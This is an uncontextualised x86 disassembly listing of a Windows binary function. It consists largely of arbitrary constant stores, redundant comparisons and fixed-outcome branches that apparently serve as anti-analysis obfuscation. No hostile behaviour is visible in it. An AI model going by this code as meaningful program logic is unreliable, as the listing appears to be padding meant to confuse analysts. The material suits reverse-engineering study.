mov dword [ebp - 0x14], 0xffffffe5
cmp dword [ebp - 0x14], 0xffffffee
push 3
pop ebx
jg 0x439312
jmp 0x439260
xor eax, eax
mov dword [ebp - 0x2c], 0xc4f4
mov dword [ebp - 0x20], 0xa55c
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
jge 0x43928e
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x2404], 0xfffa
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x439276
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x4392e9
mov eax, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c0]
je 0x4392b4
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x4392b4
inc eax
jmp 0x4392b6
xor eax, eax
dec eax
cmp eax, dword [ebp - 0x2c]
jle 0x4392c6
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x4392c8
inc eax
jmp 0x4392c8
xor eax, eax
cmp eax, 0xd6068d11
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x1bc]
neg eax
sbb eax, eax
inc eax
add eax, 0xb55e
je 0x4392e7
xor eax, eax
inc eax
jmp 0x4392e9
xor eax, eax
xor esi, esi
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp - 0x1c0]
xor ecx, ecx
inc esi
cmp eax, esi
setg cl
mov dword [ebp - 0x2400], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffee
jle 0x43925e
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jg 0x43952e
jmp 0x439324
xor eax, eax
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x40], eax
je 0x439343
push 9
pop eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
xor eax, eax
jmp 0x439357
mov dword [ebp - 0x18], 0xdd3f4672
mov dword [ebp - 0x20], ebx
inc dword [ebp - 0x18]
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x24], eax
jmp 0x43936c
mov dword [ebp - 0x20], 5
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff1
jle 0x43935c
xor eax, eax
mov dword [ebp - 0x1c], 0xffffffff
inc eax
mov dword [ebp - 0x40], 0x4393
mov dword [ebp - 0x20], 0xffffffff
lea ecx, [ebp - 0x15d8]
push eax
call fcn.00415aed
xor eax, eax
inc eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ebx
jge 0x4393c1
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x1d38], 0x69d1fe90
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x4393a9
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0xc], eax
inc ecx
cmp dword [ebp - 0xc], ecx
jge 0x4393ed
push dword [ebp - 0xc]
lea ecx, [ebp - 0x15d8]
call fcn.00415bdb
mov dword [eax], 0x9d6b80f4
xor eax, eax
inc dword [ebp - 0xc]
inc eax
cmp dword [ebp - 0xc], eax
jl 0x4393cc
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x43950b
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x24], 0xafe497d6
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
sub edx, eax
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, 0xbf2b8319
setle cl
cmp eax, ecx
sbb eax, eax
inc eax
mov dword [ebp - 0xd84], eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1d38], eax
neg eax
jne 0x439447
xor eax, eax
cmp dword [ebp - 0xd8c], eax
je 0x43944a
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x10]
je 0x439455
mov eax, dword [ebp - 0xd88]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0xff8]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x1d30]
push dword [ebp - 0x10]
call fcn.00415bdb
push dword [ebp - 0x10]
mov esi, 0x8c53
lea ecx, [ebp - 0xff8]
sub esi, dword [eax]
call fcn.00415bdb
mov dword [eax], esi
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x40]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, esi
test ecx, ecx
je 0x43949d
cmp dword [ebp - 0x1c], ebx
jle 0x4393f5
lea ecx, [ebp - 0x15d8]
call fcn.00415bbf
inc dword [ebp - 0x10]
push 1
pop esi
cmp dword [ebp - 0x10], ebx
jle 0x439322
lea ecx, [ebp - 0xff8]
call fcn.00415bbf
xor eax, eax
push 2
mov dword [ebp - 0xc], eax
pop esi
cmp dword [ebp - 0xc], esi
jge 0x43955e
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x109c], 0x713b
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x439546
xor eax, eax
xor edx, edx
mov dword [ebp - 0xc], eax
inc edx
cmp dword [ebp - 0xc], edx
jge 0x439587
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xec], 0xd4081c29
xor eax, eax
inc dword [ebp - 0xc]
inc eax
cmp dword [ebp - 0xc], eax
jl 0x439569
xor edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0xec], eax
jmp 0x4395d3
mov dword [ebp - 4], 0x62751c76
mov dword [ebp - 4], edx
cmp dword [ebp - 4], eax
jl 0x4395cd
mov dword [ebp - 0x20], 0x9d4346
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp + eax*4 - 0x109c]
mov eax, dword [ebp - 0xec]
mov dword [ebp + eax*4 - 0x109c], ecx
mov dword [ebp - 0x20], 0x5934215e
dec dword [ebp - 4]
jns 0x43959e
xor eax, eax
inc dword [ebp - 0xec]
cmp dword [ebp - 0xec], edx
jle 0x43958f
mov dword [ebp - 0xbc0], eax
mov dword [ebp - 0xbbc], eax
mov dword [ebp - 0xbb8], eax
mov dword [ebp - 0xbb4], eax
mov dword [ebp - 0x24], 0x5052061f
mov dword [ebp - 0x18], 0x9d5fac12
mov dword [ebp - 0x18], 0x932e3ca3
mov dword [ebp - 0x3c], 0x49c23edb
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jg 0x4396fe
mov dword [ebp - 0x10], 0xfffffffa
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jg 0x4396ef
mov dword [ebp - 0x20], 0x6e1ee67b
xor edx, edx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0xbc0]
test eax, eax
mov eax, dword [ebp - 0x10]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setle cl
xor edx, edx
test ecx, ecx
mov eax, dword [ebp + eax*4 - 0xbc0]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x439679
inc eax
add eax, 3
je 0x439688
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x43968a
inc eax
jmp 0x43968a
xor eax, eax
mov dword [ebp - 0x18], 0xcba8
mov ecx, dword [ebp - 0x10]
imul ecx, eax
push 3
sub ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
mov eax, dword [ebp + eax*4 - 0xbc0]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setne bl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0xbc0]
imul eax, dword [ebp - 0x18]
add ebx, eax
mov eax, dword [ebp - 0x24]
cmp ebx, eax
mov eax, dword [ebp - 0x10]
pop ebx
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x10], eax
jne 0x4396ed
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x43962e
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x43961b
xor edx, edx
inc edx
mov dword [ebp - 0x60], 0xa6d
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0xa624cdb
mov dword [ebp - 0x38], 0x17c10977
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x40], 0x5ed761e7
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
jge 0x43973c
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x153c], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x439728
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x19
jle 0x4398b1
mov dword [ebp - 0xc], 0xffff
xor edx, edx
mov dword [ebp - 0x30], 0x9bf5
mov dword [ebp - 0x30], 0x6dc06892
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1534]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setle dl
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
add ecx, dword [ebp - 0x1c]
cmp ecx, 0xdae974ca
jbe 0x439808
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x3b
jle 0x4397ca
mov dword [ebp - 0x20], 0x8aae07ea
mov dword [ebp - 0x18], 0xb3799040
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x3b
jg 0x4397ab
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x4397f9
push 7
xor ecx, ecx
pop ebx
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x38]
cmp eax, 0xfffffff7
setle cl
xor edx, edx
sub ecx, dword [ebp - 0x1538]
mov eax, dword [ebp - 0x24]
inc ecx
cmp ecx, eax
setg dl
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x439844
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
xor eax, eax
jmp 0x4397fc
mov dword [ebp - 0x2c], 0xc204e2db
mov ecx, 0x30de9bf9
mov dword [ebp - 0x18bc], ecx
mov dword [ebp - 0x18b8], ecx
mov dword [ebp - 0x18b4], ecx
mov dword [ebp - 0x18b0], ecx
push 0xfffffffffffffffe
mov dword [ebp - 0x2c], eax
pop edx
cmp dword [ebp - 0x2c], edx
jle 0x439943
or ecx, 0xffffffff
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x17bc], ecx
mov dword [ebp - 0x17b8], ecx
mov dword [ebp - 0x17b4], ecx
mov dword [ebp - 0x17b0], ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x439920
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x25a8], 0x3a0b8ee4
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x439907
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x17b4], eax
mov dword [ebp - 0x259c], eax
mov dword [ebp - 0x18bc], ecx
dec dword [ebp - 0x2c]
push 0
pop eax
cmp dword [ebp - 0x2c], edx
jg 0x4398e3
mov dword [ebp - 0x18], 0xd0e834ab
xor ebx, ebx
inc ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x4c], 0x448112de
mov dword [ebp - 0x54], 0xfff7
mov dword [ebp - 0x30], 0xfd6f
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x439987
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x10e4], 0x6847
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x43996e
push 3
mov dword [ebp - 0x10], eax
pop edi
cmp dword [ebp - 0x10], edi
jg 0x439a27